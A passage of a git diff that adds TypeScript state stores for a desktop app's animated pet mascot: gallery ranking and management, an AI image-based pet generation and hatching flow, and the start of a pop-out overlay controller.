+export async function applyAdoptedPet(request: GatewayRequest, slug: string, displayName: string): Promise<void> {
+  patchGallery(gallery => ({
+    ...gallery,
+    enabled: true,
+    active: slug,
+    pets: gallery.pets.some(p => p.slug === slug)
+      ? gallery.pets.map(p => (p.slug === slug ? { ...p, installed: true, displayName } : p))
+      : [...gallery.pets, { slug, displayName, installed: true, spritesheetUrl: '' }]
+  }))
+  await syncInfo(request)
+}
+
+/**
+ * Filter (drop the internal `clawd*` pets + apply a search query) and rank the
+ * gallery for a picker. Ranking has no popularity data, so it leans on the
+ * signals we do have: active pet first, then installed, then curated. Shared by
+ * the Cmd-K palette and the Settings grid so the two can't drift — each caller
+ * applies its own cap and reads `.length` for the total.
+ */
+export function rankedGalleryPets(gallery: PetGallery | null, query = ''): GalleryPet[] {
+  if (!gallery) {
+    return []
+  }
+
+  const needle = normalize(query)
+
+  // User-generated pets first, then the active pet, then installed, then curated.
+  // Guard every term with a boolean — local-only pets omit curated/generated, and
+  // `Number(undefined)` is NaN, which poisons the sort (it would sink those pets
+  // below the render cap and hide them entirely).
+  const rank = (p: GalleryPet) =>
+    (p.generated ? 8 : 0) +
+    (gallery.enabled && p.slug === gallery.active ? 4 : 0) +
+    (p.installed ? 2 : 0) +
+    (p.curated ? 1 : 0)
+
+  return gallery.pets
+    .filter(
+      p =>
+        !/^clawd(-|$)/i.test(p.slug) &&
+        (!needle || p.slug.toLowerCase().includes(needle) || p.displayName.toLowerCase().includes(needle))
+    )
+    .sort((a, b) => rank(b) - rank(a))
+}
+
+function patchGallery(fn: (gallery: PetGallery) => PetGallery): void {
+  const current = $petGallery.get()
+
+  if (current) {
+    $petGallery.set(fn(current))
+  }
+}
+
+/** Shared mutation wrapper: spin, fire, patch on success, surface failures. */
+async function mutate(
+  busyKey: string,
+  fallback: string,
+  request: GatewayRequest,
+  run: () => Promise<void>
+): Promise<boolean> {
+  $petBusy.set(busyKey)
+  $petGalleryError.set(null)
+
+  try {
+    await run()
+    await syncInfo(request)
+
+    return true
+  } catch (e) {
+    if (isMissingMethod(e)) {
+      $petGalleryStatus.set('stale')
+    } else {
+      $petGalleryError.set(e instanceof Error ? e.message : fallback)
+    }
+
+    return false
+  } finally {
+    $petBusy.set(null)
+  }
+}
+
+/** Install (if needed) + activate a pet. Optimistically marks it active. */
+export function adoptPet(request: GatewayRequest, slug: string, fallback: string): Promise<boolean> {
+  return mutate(slug, fallback, request, async () => {
+    await petRpc(request, 'pet.select', { slug })
+    patchGallery(g => ({
+      ...g,
+      enabled: true,
+      active: slug,
+      pets: g.pets.map(p => (p.slug === slug ? { ...p, installed: true } : p))
+    }))
+  })
+}
+
+/**
+ * Turn the floating mascot on/off. On enable, activates the current pet (or the
+ * first installed one). Returns false without firing if there's nothing to show.
+ */
+export function setPetEnabled(
+  request: GatewayRequest,
+  on: boolean,
+  copy: { noneAvailable: string; fallback: string }
+): Promise<boolean> {
+  const gallery = $petGallery.get()
+
+  if (!on && !(gallery?.enabled ?? false)) {
+    return Promise.resolve(true)
+  }
+
+  let slug = gallery?.active || ''
+
+  if (on) {
+    slug = slug || gallery?.pets.find(p => p.installed)?.slug || ''
+
+    if (!slug) {
+      $petGalleryError.set(copy.noneAvailable)
+
+      return Promise.resolve(false)
+    }
+  }
+
+  return mutate(on ? TOGGLE_ON : TOGGLE_OFF, copy.fallback, request, async () => {
+    if (on) {
+      await petRpc(request, 'pet.select', { slug })
+    } else {
+      await petRpc(request, 'pet.disable')
+    }
+
+    patchGallery(g => ({ ...g, enabled: on, active: on ? slug : g.active }))
+  })
+}
+
+// Pet scale bounds — mirror `agent/pet/constants.py` (MIN_SCALE / MAX_SCALE) so
+// the slider and the server clamp to the same range.
+export const PET_SCALE_MIN = 0.1
+export const PET_SCALE_MAX = 3.0
+export const PET_SCALE_DEFAULT = 0.33
+export const clampPetScale = (n: number) => Math.max(PET_SCALE_MIN, Math.min(PET_SCALE_MAX, n))
+
+// Wheel → scale. Multiplicative so one notch feels the same at any size. Tuned
+// for a discrete mouse-wheel notch (deltaY ≈ ±100); trackpad two-finger scroll
+// (smaller deltas) just resizes more gently, which is fine.
+const WHEEL_SCALE_K = 0.0015
+
+/**
+ * Next pet scale for one mouse-wheel step over the pet. Scrolling up (deltaY < 0)
+ * grows it, scrolling down shrinks it; the result is clamped to the slider's range.
+ */
+export function nextScaleFromWheel(current: number | undefined, deltaY: number): number {
+  const base = current ?? PET_SCALE_DEFAULT
+
+  return clampPetScale(base * Math.exp(-deltaY * WHEEL_SCALE_K))
+}
+
+let scalePersist: ReturnType<typeof setTimeout> | undefined
+
+/**
+ * Resize the floating pet. Updates `$petInfo` synchronously so the on-screen pet
+ * (and the slider) react on the same frame, then debounce-persists to
+ * `display.pet.scale` so a slider drag fires one RPC, not one per pixel. No poll
+ * or event needed — the pet already renders from `$petInfo.scale`.
+ */
+export function setPetScale(request: GatewayRequest, scale: number): void {
+  const next = clampPetScale(scale)
+
+  setPetInfo({ ...$petInfo.get(), scale: next })
+
+  clearTimeout(scalePersist)
+  scalePersist = setTimeout(() => {
+    petRpc<{ ok: boolean; scale?: number }>(request, 'pet.scale', { scale: next })
+      .then(result => {
+        // Reconcile with the server's clamp (cheap; only matters at the bounds).
+        if (typeof result?.scale === 'number' && result.scale !== $petInfo.get().scale) {
+          setPetInfo({ ...$petInfo.get(), scale: result.scale })
+        }
+      })
+      .catch(() => {
+        // Cosmetic — the pet already resized; persistence self-heals next write.
+      })
+  }, 200)
+}
+
+/** Export a pet as a `.zip` (pet.json + spritesheet) and save it via the browser. */
+export async function exportPet(request: GatewayRequest, slug: string, fallback: string): Promise<boolean> {
+  $petBusy.set(slug)
+  $petGalleryError.set(null)
+
+  try {
+    const res = await petRpc<{ ok: boolean; filename: string; zipBase64: string }>(request, 'pet.export', { slug })
+
+    if (!res?.ok || !res.zipBase64) {
+      throw new Error(fallback)
+    }
+
+    const bytes = Uint8Array.from(atob(res.zipBase64), c => c.charCodeAt(0))
+    const url = URL.createObjectURL(new Blob([bytes], { type: 'application/zip' }))
+    const anchor = document.createElement('a')
+    anchor.href = url
+    anchor.download = res.filename || `${slug}.zip`
+    anchor.click()
+    URL.revokeObjectURL(url)
+
+    return true
+  } catch (e) {
+    $petGalleryError.set(e instanceof Error ? e.message : fallback)
+
+    return false
+  } finally {
+    $petBusy.set(null)
+  }
+}
+
+/**
+ * Rename a pet — optimistic. The new name shows instantly (so the dialog can
+ * close immediately); the RPC runs in the background and the backend also
+ * realigns the slug/dir, so we reconcile the slug + thumb cache when it returns,
+ * and roll the name back if it fails.
+ */
+export function renamePet(request: GatewayRequest, slug: string, name: string, fallback: string): Promise<boolean> {
+  const trimmed = name.trim()
+
+  if (!trimmed) {
+    return Promise.resolve(false)
+  }
+
+  const prev = $petGallery.get()?.pets.find(p => p.slug === slug)?.displayName ?? ''
+
+  // Optimistic: paint the new name now (slug reconciles when the RPC returns).
+  patchGallery(g => ({
+    ...g,
+    pets: g.pets.map(p => (p.slug === slug ? { ...p, displayName: trimmed } : p))
+  }))
+  $petGalleryError.set(null)
+
+  return (async () => {
+    try {
+      const res = await petRpc<{ ok: boolean; slug: string; displayName: string }>(request, 'pet.rename', {
+        slug,
+        name: trimmed
+      })
+
+      if (!res?.ok) {
+        throw new Error(fallback)
+      }
+
+      const newSlug = res.slug || slug
+
+      if (newSlug !== slug) {
+        thumbCache.delete(slug)
+        patchGallery(g => ({
+          ...g,
+          active: g.active === slug ? newSlug : g.active,
+          pets: g.pets
+            .filter(p => p.slug !== newSlug || p.slug === slug)
+            .map(p => (p.slug === slug ? { ...p, slug: newSlug, displayName: res.displayName || trimmed } : p))
+        }))
+      }
+
+      return true
+    } catch (e) {
+      // Roll the optimistic name back so the list reflects on-disk truth.
+      patchGallery(g => ({
+        ...g,
+        pets: g.pets.map(p => (p.slug === slug ? { ...p, displayName: prev } : p))
+      }))
+      $petGalleryError.set(e instanceof Error ? e.message : fallback)
+
+      return false
+    }
+  })()
+}
+
+/** Uninstall a pet; turns the mascot off if it was the active one. */
+export function removePet(request: GatewayRequest, slug: string, fallback: string): Promise<boolean> {
+  return mutate(slug, fallback, request, async () => {
+    await petRpc(request, 'pet.remove', { slug })
+    // Evict the by-slug thumb cache so a reused slug doesn't render this pet's
+    // stale thumbnail (the backend drops its disk thumb in parallel).
+    thumbCache.delete(slug)
+    patchGallery(g => ({
+      ...g,
+      enabled: g.active === slug ? false : g.enabled,
+      active: g.active === slug ? '' : g.active,
+      // Petdex pets can be reinstalled from the manifest, so we just mark them
+      // uninstalled. Generated / local-only pets have no remote source — once
+      // deleted they're gone, so drop them from the list entirely.
+      pets: g.pets.flatMap(p => {
+        if (p.slug !== slug) {
+          return [p]
+        }
+
+        return p.generated || !p.spritesheetUrl ? [] : [{ ...p, installed: false }]
+      })
+    }))
+  })
+}
diff --git a/ui-desktop/src/store/pet-generate.ts b/ui-desktop/src/store/pet-generate.ts
new file mode 100644
index 000000000..d565a328c
--- /dev/null
+++ b/ui-desktop/src/store/pet-generate.ts
@@ -0,0 +1,652 @@
+import { atom } from 'nanostores'
+
+import { persistBoolean, persistString, storedBoolean, storedString } from '@/lib/storage'
+import { capitalize } from '@/lib/text'
+import { $gateway } from '@/store/gateway'
+import { dispatchNativeNotification } from '@/store/native-notifications'
+import { notify } from '@/store/notifications'
+import { type PetInfo } from '@/store/pet'
+import { applyAdoptedPet, type GatewayRequest } from '@/store/pet-gallery'
+/**
+ * Feature store for the "generate a pet" flow (Cmd-K → Pets → Generate).
+ *
+ * Three backend steps, mirrored as state here:
+ *  - `pet.generate` produces N cheap base-look *drafts* keyed by a `token`.
+ *  - `pet.hatch` turns the chosen draft into a full animated pet — installed but
+ *    NOT active — and returns its renderer payload so we can preview all frames.
+ *  - the user then *adopts* (`pet.select`) or *discards* (`pet.remove`) it.
+ *
+ * The store owns the draft set, the selected variant, the hatched preview, and
+ * the busy/error status so the page is a thin view. Retry == regenerate (new
+ * token). Kept separate from `pet-gallery` because its lifecycle (ephemeral
+ * drafts + an unadopted preview) is unrelated to the long-lived gallery cache.
+ */
+
+// Generation is many grounded image calls — far longer than the default 30s RPC
+// timeout. Drafts fan out 4 base looks; hatch fans out ~8 animation rows. The
+// quality-first default (OpenAI image via OpenRouter) is slow, and each hatch
+// row can retry up to 3x (300s/call) across 2 parallel waves, so the absolute
+// backend worst case is ~30 min. The hatch ceiling sits above that (1h) so the
+// frontend never throws "request timed out" before the backend has actually
+// exhausted its own retries — the background-resumable notify path is the real
+// UX safety net (the user can close the modal and get pinged on completion).
+const GENERATE_TIMEOUT_MS = 420_000
+const HATCH_TIMEOUT_MS = 3_600_000
+
+// Filler words to drop when deriving a default name from a free-text prompt.
+const NAME_STOPWORDS = new Set([
+  'a',
+  'an',
+  'and',
+  'at',
+  'by',
+  'cute',
+  'for',
+  'from',
+  'in',
+  'of',
+  'on',
+  'style',
+  'the',
+  'to',
+  'with'
+])
+
+/**
+ * Derive a short, friendly default name from a generation prompt. The prompt
+ * (e.g. "2d dragon in the style of ragnarok online") is grounding text, not a
+ * name — using it verbatim makes a terrible label + slug. We keep the first few
+ * meaningful words, title-cased and capped, so a blank adopt still reads well.
+ * The user can always override on the reveal screen or rename later.
+ */
+export function cleanPetName(prompt: string): string {
+  const words = prompt
+    .replace(/[^\p{L}\p{N}\s-]/gu, ' ')
+    .split(/\s+/)
+    .filter(Boolean)
+
+  const meaningful = words.filter(w => !NAME_STOPWORDS.has(w.toLowerCase()))
+  const picked = (meaningful.length ? meaningful : words).slice(0, 3)
+
+  const name = picked.map(capitalize).join(' ').slice(0, 28).trim()
+
+  return name || 'Pet'
+}
+
+export interface PetDraft {
+  index: number
+  /** Downscaled PNG data URI preview from the gateway. */
+  dataUri: string
+}
+
+export type PetGenStatus = 'idle' | 'generating' | 'ready' | 'hatching' | 'preview' | 'adopting' | 'error' | 'stale'
+
+/** Live hatch step for the egg screen — which row is being drawn, then compose/save. */
+export interface PetHatchStage {
+  phase: 'row' | 'compose' | 'save'
+  state?: string
+  done?: number
+  total?: number
+}
+
+export const $petGenStatus = atom<PetGenStatus>('idle')
+export const $petGenStage = atom<PetHatchStage | null>(null)
+export const $petGenError = atom<string | null>(null)
+
+// Whether a reference-capable image backend is configured. `null` = not yet
+// probed (treat as available so the prompt shows optimistically); the overlay
+// re-probes on open and on return from settings.
+export const $petGenAvailable = atom<boolean | null>(null)
+
+/** A reference-capable image backend the user can pick for generation. */
+export interface PetGenProvider {
+  name: string
+  label: string
+  /** Whether this is the backend's default pick (no override needed). */
+  default: boolean
+}
+
+const PROVIDER_KEY = 'clawcodex.desktop.petgen.provider'
+const REMIX_CONFIRMED_KEY = 'clawcodex.desktop.petgen.remixConfirmed'
+
+/** Reference-capable providers available to pick (from `pet.generate.status`). */
+export const $petGenProviders = atom<PetGenProvider[]>([])
+/** The picked provider name; `''` means "use the backend default". Persisted. */
+export const $petGenProvider = atom(storedString(PROVIDER_KEY) ?? '')
+
+/** Set (and persist) the pet-gen provider override. `''` clears it. */
+export function setPetGenProvider(name: string): void {
+  $petGenProvider.set(name)
+  persistString(PROVIDER_KEY, name || null)
+}
+
+/** Whether the user has acknowledged the one-time "remix regenerates" notice. */
+export const $petGenRemixConfirmed = atom(storedBoolean(REMIX_CONFIRMED_KEY, false))
+
+/** Remember that the remix notice has been shown so we don't ask again. */
+export function markRemixConfirmed(): void {
+  $petGenRemixConfirmed.set(true)
+  persistBoolean(REMIX_CONFIRMED_KEY, true)
+}
+
+/** Probe whether generation is possible (a reference-capable backend exists). */
+export async function checkPetGenAvailable(request: GatewayRequest): Promise<void> {
+  try {
+    const res = await request<{ available: boolean; providers?: PetGenProvider[] }>('pet.generate.status')
+    $petGenAvailable.set(Boolean(res?.available))
+    const providers = res?.providers ?? []
+    $petGenProviders.set(providers)
+    // Drop a stale pick if that backend is no longer configured.
+    const picked = $petGenProvider.get()
+
+    if (picked && !providers.some(p => p.name === picked)) {
+      setPetGenProvider('')
+    }
+  } catch {
+    // Unknown (old backend / transient) — don't gate the UI on a failed probe.
+    $petGenAvailable.set(true)
+  }
+}
+
+/** Whether the dedicated "Generate a pet" Pokédex overlay is open. */
+export const $petGenerateOpen = atom(false)
+
+export function openPetGenerate(): void {
+  // Resume an in-flight or finished-but-unadopted run (so a Stop-free close, or
+  // a "done" notification click, lands back on the right step); only start on a
+  // clean slate when nothing is going on.
+  if ($petGenStatus.get() === 'idle') {
+    resetPetGen()
+  }
+
+  $petGenerateOpen.set(true)
+}
+
+export function closePetGenerate(): void {
+  $petGenerateOpen.set(false)
+}
+
+export const $petGenToken = atom<string | null>(null)
+/** Prompt that produced the current draft token; hatch uses this for consistency. */
+export const $petGenPrompt = atom<string>('')
+export const $petGenDrafts = atom<PetDraft[]>([])
+export const $petGenSelected = atom<number | null>(null)
+/** The hatched-but-unadopted pet: its renderer payload, played in the preview. */
+export const $petGenPreview = atom<PetInfo | null>(null)
+
+// Live composer inputs live in atoms (not component state) so closing the
+// overlay mid-flow — or letting it run in the background — and reopening (or
+// clicking the "done" notification) restores exactly what you had.
+export const $petGenInput = atom('')
+export const $petGenRefImage = atom<string | null>(null)
+export const $petGenRefName = atom('')
+
+function isMissingMethod(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : String(error)
+
+  return /method not found|-32601|unknown method|no such method/i.test(message)
+}
+
+/** Clear all generation state (before a fresh run). */
+export function resetPetGen(): void {
+  $petGenStatus.set('idle')
+  $petGenStage.set(null)
+  $petGenError.set(null)
+  $petGenToken.set(null)
+  $petGenPrompt.set('')
+  $petGenDrafts.set([])
+  $petGenSelected.set(null)
+  $petGenPreview.set(null)
+  $petGenInput.set('')
+  $petGenRefImage.set(null)
+  $petGenRefName.set('')
+}
+
+/**
+ * Close-time cleanup: if a pet is already hatched but not adopted, discard it so
+ * abandoned previews do not accumulate on disk. In-flight generate/hatch runs
+ * are intentionally left alone (background-resumable).
+ */
+export function cleanupPetGenOnClose(request: GatewayRequest): void {
+  const status = $petGenStatus.get()
+  const preview = $petGenPreview.get()
+
+  if ((status === 'preview' || status === 'adopting') && preview?.slug) {
+    void request('pet.remove', { slug: preview.slug }).catch(() => {})
+    resetPetGen()
+  }
+}
+
+// A finished background run (overlay closed) nudges the user back: an in-app
+// toast with a View action always, plus an OS notification when enabled and the
+// app is in the background. Clicking either reopens the overlay to its state.
+function notifyPetGenDone(title: string, message: string, kind: 'error' | 'success'): void {
+  if ($petGenerateOpen.get()) {
+    return
+  }
+
+  notify({ kind, title, message, action: { label: 'View', onClick: openPetGenerate } })
+  // Pet generation isn't tied to a chat session — mark it global so the OS
+  // notification fires whenever the user is away, even with no active session
+  // (the common case: generating from the command center with no conversation).
+  dispatchNativeNotification({ kind: 'backgroundDone', title, body: message, global: true })
+}
+
+interface GenerateOptions {
+  prompt: string
+  style?: string
+  count?: number
+  /** Optional data-URL reference image — every draft is grounded on it. */
+  referenceImage?: string
+}
+
+// A Stop (or a fresh round) must invalidate the in-flight call. This primitive
+// pairs a monotonic run id with the current run's cancel fn; `begin` opens a
+// run, `isCurrent` gates stale callbacks/events, `arm` registers the aborter,
+// `stop` supersedes + fires it. Drives both the draft and hatch flows.
+interface Run {
+  begin: () => number
+  isCurrent: (id: number) => boolean
+  arm: (cancel: () => void) => void
+  stop: () => void
+  disarmIf: (id: number) => void
+}
+
+function cancelableRun(): Run {
+  let id = 0
+  let cancel: (() => void) | null = null
+
+  return {
+    begin: () => (id += 1),
+    isCurrent: n => n === id,
+    arm: fn => {
+      cancel = fn
+    },
+    stop: () => {
+      id += 1
+      cancel?.()
+      cancel = null
+    },
+    disarmIf: n => {
+      if (n === id) {
+        cancel = null
+      }
+    }
+  }
+}
+
+const gen = cancelableRun()
+
+/**
+ * Stop the in-flight draft generation (real abort). If any drafts have already
+ * streamed in, keep them and drop into the ready/picker state (no reason to wait
+ * for all 4) — otherwise reset to idle.
+ */
+export function cancelGenerate(): void {
+  gen.stop()
+  $petGenError.set(null)
+
+  const drafts = $petGenDrafts.get()
+
+  if (drafts.length > 0) {
+    if ($petGenSelected.get() === null) {
+      $petGenSelected.set(drafts[0]?.index ?? 0)
+    }
+
+    $petGenStatus.set('ready')
+
+    return
+  }
+
+  $petGenStatus.set('idle')
+  $petGenDrafts.set([])
+  $petGenSelected.set(null)
+  $petGenToken.set(null)
+}
+
+/**
+ * Abandon the current drafts and return to the prompt (step 1). Stops any
+ * in-flight generation; keeps the prompt text so the user can tweak + retry.
+ */
+export function discardDrafts(): void {
+  gen.stop()
+  $petGenDrafts.set([])
+  $petGenSelected.set(null)
+  $petGenToken.set(null)
+  $petGenError.set(null)
+  $petGenStatus.set('idle')
+}
+
+const hatch = cancelableRun()
+
+// A Stop invalidates the in-flight hatch and drops back to the draft picker (the
+// server still finishes, so we delete the pet it created).
+/** Stop the in-flight hatch and return to the draft picker. */
+export function cancelHatch(): void {
+  hatch.stop()
+  $petGenStage.set(null)
+  $petGenError.set(null)
+  $petGenStatus.set($petGenDrafts.get().length > 0 ? 'ready' : 'idle')
+}
+
+/** Generate (or retry) a fresh set of base-look drafts for `prompt`. */
+export async function generateDrafts(request: GatewayRequest, options: GenerateOptions): Promise<boolean> {
+  const prompt = options.prompt.trim()
+  const referenceImage = options.referenceImage
+
+  // Need *something* to ground on: a description or a reference image.
+  if (!prompt && !referenceImage) {
+    return false
+  }
+
+  const runId = gen.begin()
+  const controller = new AbortController()
+  gen.arm(() => {
+    controller.abort()
+    const token = $petGenToken.get()
+
+    if (token) {
+      void request('pet.cancel', { token }).catch(() => {})
+    }
+  })
+
+  // Starting a fresh generation round supersedes any unadopted preview pet.
+  const preview = $petGenPreview.get()
+
+  if (preview?.slug) {
+    await request('pet.remove', { slug: preview.slug }).catch(() => {})
+  }
+
+  $petGenStatus.set('generating')
+  $petGenError.set(null)
+  $petGenPreview.set(null)
+  $petGenDrafts.set([])
+  $petGenSelected.set(null)
+
+  // Stream drafts in as the backend finishes each one (pet.generate.progress),
+  // so the grid fills live instead of sitting on placeholders until all N land.
+  const off =
+    $gateway.get()?.on<PetDraft & { token: string; count: number }>('pet.generate.progress', event => {
+      const draft = event.payload
+
+      // Token-only init event (no draft yet): learn the token immediately so an
+      // early Stop can still tell the backend to cancel this run.
+      if (draft?.token && !draft.dataUri) {
+        if (gen.isCurrent(runId) && $petGenStatus.get() === 'generating') {
+          $petGenToken.set(draft.token)
+        }
+
+        return
+      }
+
+      if (!draft?.dataUri || typeof draft.index !== 'number') {
+        return
+      }
+
+      // Ignore events from a superseded/stopped run, and only stream while live.
+      if (!gen.isCurrent(runId) || $petGenStatus.get() !== 'generating') {
+        return
+      }
+
+      // Capture the token from the stream so a Stop can still hatch the partial set.
+      if (draft.token) {
+        $petGenToken.set(draft.token)
+      }
+
+      const current = $petGenDrafts.get()
+
+      if (current.some(d => d.index === draft.index)) {
+        return
+      }
+
+      $petGenDrafts.set([...current, { index: draft.index, dataUri: draft.dataUri }].sort((a, b) => a.index - b.index))
+    }) ?? (() => {})
+
+  try {
+    const result = await request<{ ok: boolean; token: string; drafts: PetDraft[] }>(
+      'pet.generate',
+      {
+        prompt,
+        style: options.style ?? 'auto',
+        count: options.count ?? 4,
+        ...(referenceImage ? { referenceImage } : {}),
+        ...($petGenProvider.get() ? { provider: $petGenProvider.get() } : {})
+      },
+      GENERATE_TIMEOUT_MS,
+      controller.signal
+    )
+
+    // Stopped (or superseded by a newer round) while the RPC was in flight.
+    if (!gen.isCurrent(runId)) {
+      return false
+    }
+
+    if (!result?.ok || !result.drafts?.length) {
+      throw new Error('generation produced no drafts')
+    }
+
+    $petGenToken.set(result.token)
+    // Keep a concept for the hatch row prompts even on an image-only generate.
+    $petGenPrompt.set(prompt || 'a custom pet')
+    $petGenDrafts.set(result.drafts)
+    $petGenSelected.set(result.drafts[0]?.index ?? 0)
+    $petGenStatus.set('ready')
+    notifyPetGenDone('Pet drafts ready', 'Your pet looks finished — pick one to hatch.', 'success')
+
+    return true
+  } catch (e) {
+    if (!gen.isCurrent(runId)) {
+      return false
+    }
+
+    if (isMissingMethod(e)) {
+      $petGenStatus.set('stale')
+    } else {
+      $petGenStatus.set('error')
+      $petGenError.set(e instanceof Error ? e.message : 'Could not generate pet drafts.')
+      notifyPetGenDone('Pet generation failed', 'Reopen to try again.', 'error')
+    }
+
+    return false
+  } finally {
+    off()
+    gen.disarmIf(runId)
+  }
+}
+
+interface HatchOptions {
+  name: string
+  description?: string
+  prompt?: string
+  style?: string
+}
+
+/**
+ * Hatch the selected draft into a full pet (installed but NOT yet active) and
+ * load its renderer payload into the preview. Adoption is a separate, explicit
+ * step (`adoptHatched`) so the user sees every frame play before committing.
+ * Returns true when the preview is ready.
+ */
+export async function hatchSelected(request: GatewayRequest, options: HatchOptions): Promise<boolean> {
+  const token = $petGenToken.get()
+  const index = $petGenSelected.get()
+  const name = options.name.trim()
+  const concept = ($petGenPrompt.get() || options.prompt || name).trim()
+
+  if (token === null || index === null || !name) {
+    return false
+  }
+
+  // Hatch cancellation rides its own token (not the draft token): hatching
+  // mid-generation leaves pet.generate releasing that token, which would race
+  // the arm. The draft token still locates the staged image server-side.
+  const cancelToken = crypto.randomUUID()
+  const hatchRunId = hatch.begin()
+  const controller = new AbortController()
+  hatch.arm(() => {
+    controller.abort()
+    void request('pet.cancel', { token: cancelToken }).catch(() => {})
+  })
+
+  $petGenStatus.set('hatching')
+  $petGenStage.set(null)
+  $petGenError.set(null)
+
+  // Stream the hatch steps (which row is drawing, then compose/save) to the egg
+  // screen so a multi-minute hatch shows live progress instead of a black box.
+  const offProgress =
+    $gateway
+      .get()
+      ?.on<{ event: string; state?: string; done?: string; total?: string }>('pet.hatch.progress', event => {
+        const p = event.payload
+
+        if (!p || !hatch.isCurrent(hatchRunId) || $petGenStatus.get() !== 'hatching') {
+          return
+        }
+
+        if (p.event === 'row' && p.state) {
+          $petGenStage.set({
+            phase: 'row',
+            state: p.state,
+            done: Number(p.done) || undefined,
+            total: Number(p.total) || undefined
+          })
+        } else if (p.event === 'compose') {
+          $petGenStage.set({ phase: 'compose' })
+        } else if (p.event === 'save') {
+          $petGenStage.set({ phase: 'save' })
+        }
+      }) ?? (() => {})
+
+  try {
+    const result = await request<{ ok: boolean; slug: string; displayName: string; pet?: PetInfo }>(
+      'pet.hatch',
+      {
+        token,
+        cancelToken,
+        index,
+        name,
+        description: options.description ?? '',
+        prompt: concept,
+        style: options.style ?? 'auto',
+        ...($petGenProvider.get() ? { provider: $petGenProvider.get() } : {})
+      },
+      HATCH_TIMEOUT_MS,
+      controller.signal
+    )
+
+    // Stopped mid-hatch: the server created the pet anyway, so delete it.
+    if (!hatch.isCurrent(hatchRunId)) {
+      if (result?.slug) {
+        void request('pet.remove', { slug: result.slug }).catch(() => {})
+      }
+
+      return false
+    }
+
+    if (!result?.ok || !result.pet?.spritesheetBase64) {
+      throw new Error('hatch produced no preview')
+    }
+
+    $petGenPreview.set({ ...result.pet, enabled: true })
+    $petGenStatus.set('preview')
+    notifyPetGenDone('Your pet hatched', 'Reopen to name and adopt it.', 'success')
+
+    return true
+  } catch (e) {
+    if (!hatch.isCurrent(hatchRunId)) {
+      return false
+    }
+
+    $petGenStatus.set('error')
+    $petGenError.set(e instanceof Error ? e.message : 'Could not hatch the pet.')
+    notifyPetGenDone('Hatching failed', 'Reopen to try again.', 'error')
+
+    return false
+  } finally {
+    offProgress()
+
+    if (hatch.isCurrent(hatchRunId)) {
+      $petGenStage.set(null)
+      hatch.disarmIf(hatchRunId)
+    }
+  }
+}
+
+export interface AdoptOutcome {
+  ok: boolean
+  slug?: string
+  displayName?: string
+}
+
+/**
+ * Adopt the previewed pet: optionally rename it to the user's chosen name (set
+ * on the reveal screen), activate it (`pet.select`), refresh the gallery + live
+ * mascot, and clear generation state. No-op unless a preview exists.
+ */
+export async function adoptHatched(request: GatewayRequest, name?: string): Promise<AdoptOutcome> {
+  const preview = $petGenPreview.get()
+
+  if (!preview?.slug) {
+    return { ok: false }
+  }
+
+  $petGenStatus.set('adopting')
+  $petGenError.set(null)
+
+  try {
+    // Name is collected after hatch, so apply it before activating. The rename
+    // also realigns the slug to the chosen name (so lists show what the user
+    // typed, not the prompt), so adopt the *returned* slug. Best-effort: a
+    // rename failure shouldn't block adopting under the provisional slug.
+    const finalName = name?.trim()
+    let adoptSlug = preview.slug
+
+    if (finalName && finalName !== preview.displayName) {
+      const renamed = await request<{ ok: boolean; slug: string }>('pet.rename', {
+        slug: preview.slug,
+        name: finalName
+      }).catch(() => null)
+
+      if (renamed?.slug) {
+        adoptSlug = renamed.slug
+      }
+    }
+
+    const result = await request<{ ok: boolean; slug: string; displayName: string }>('pet.select', {
+      slug: adoptSlug
+    })
+
+    if (!result?.ok) {
+      throw new Error('adopt failed')
+    }
+
+    // pet.select already set the active mascot (disk + config). Reflect it
+    // locally — no remote petdex manifest fetch — and close immediately.
+    resetPetGen()
+    void applyAdoptedPet(request, result.slug, result.displayName)
+
+    return { ok: true, slug: result.slug, displayName: result.displayName }
+  } catch (e) {
+    $petGenStatus.set('preview')
+    $petGenError.set(e instanceof Error ? e.message : 'Could not adopt the pet.')
+
+    return { ok: false }
+  }
+}
+
+/**
+ * Throw away the previewed pet (`pet.remove`) and return to the draft picker so
+ * the user can choose another base or regenerate. Best-effort on the delete.
+ */
+export async function discardHatched(request: GatewayRequest): Promise<void> {
+  const preview = $petGenPreview.get()
+
+  if (preview?.slug) {
+    await request('pet.remove', { slug: preview.slug }).catch(() => {})
+  }
+
+  $petGenPreview.set(null)
+  $petGenError.set(null)
+  $petGenStatus.set($petGenDrafts.get().length > 0 ? 'ready' : 'idle')
+}
diff --git a/ui-desktop/src/store/pet-overlay.ts b/ui-desktop/src/store/pet-overlay.ts
new file mode 100644
index 000000000..49967b175
--- /dev/null
+++ b/ui-desktop/src/store/pet-overlay.ts
@@ -0,0 +1,306 @@
+import { atom } from 'nanostores'
+
+import { persistBoolean, persistString, storedBoolean, storedString } from '@/lib/storage'
+import { $petActivity, $petInfo, $petUnread, clearPetUnread, type PetActivity, type PetInfo } from '@/store/pet'
+import { $awaitingResponse, $busy } from '@/store/session'
+
+/**
+ * Controller for the pop-out pet overlay (main-renderer side).
+ *
+ * Shift-clicking the in-window pet "pops it out" into a transparent,
+ * always-on-top OS window (created in electron/main.ts) that can leave the
+ * app's bounds and stays visible while ClawCodex is minimized. That window carries
+ * NO gateway connection — this renderer remains the single source of truth and
+ * pushes the live pet state to it over IPC. Control flows back (pop the pet back
+ * in, submit a composer message) via `onControl`.
+ *
+ * The overlay renders the same `PetSprite` / `PetBubble` as the in-window pet by
+ * mirroring the four reactive inputs of `$petState` (`$petInfo`, `$petActivity`,
+ * `$busy`, `$awaitingResponse`) into its own copies of those atoms — so the
+ * popped-out mascot is pixel-identical and needs zero bespoke render logic.
+ */
+
+export interface PetOverlayBounds {
+  x: number
+  y: number
+  width: number
+  height: number
+}
+
+/**
+ * Request to open the overlay window. `screen` says whether `bounds` are already
+ * in absolute screen coordinates (a remembered/dragged spot) or in the main
+ * window's viewport space (a fresh shift-click pop-out, which main.ts converts
+ * by adding the content origin).
+ */
+export interface PetOverlayOpenRequest {
+  bounds: PetOverlayBounds
+  screen?: boolean
+}
+
+/** Everything the overlay needs to reproduce the live mascot. */
+export interface PetOverlayStatePayload {
+  info: PetInfo
+  activity: PetActivity
+  busy: boolean
+  awaiting: boolean
+  /** Drives the overlay's mail icon: a finish landed while you were away. */
+  unread: boolean
+  /** Latest reaction — bumping its id forwards a burst to the overlay. */
+  reaction: PetReaction | null
+}
+
+export type PetOverlayControl =
+  | { type: 'pop-in' }
+  | { type: 'ready' }
+  | { type: 'submit'; text: string }
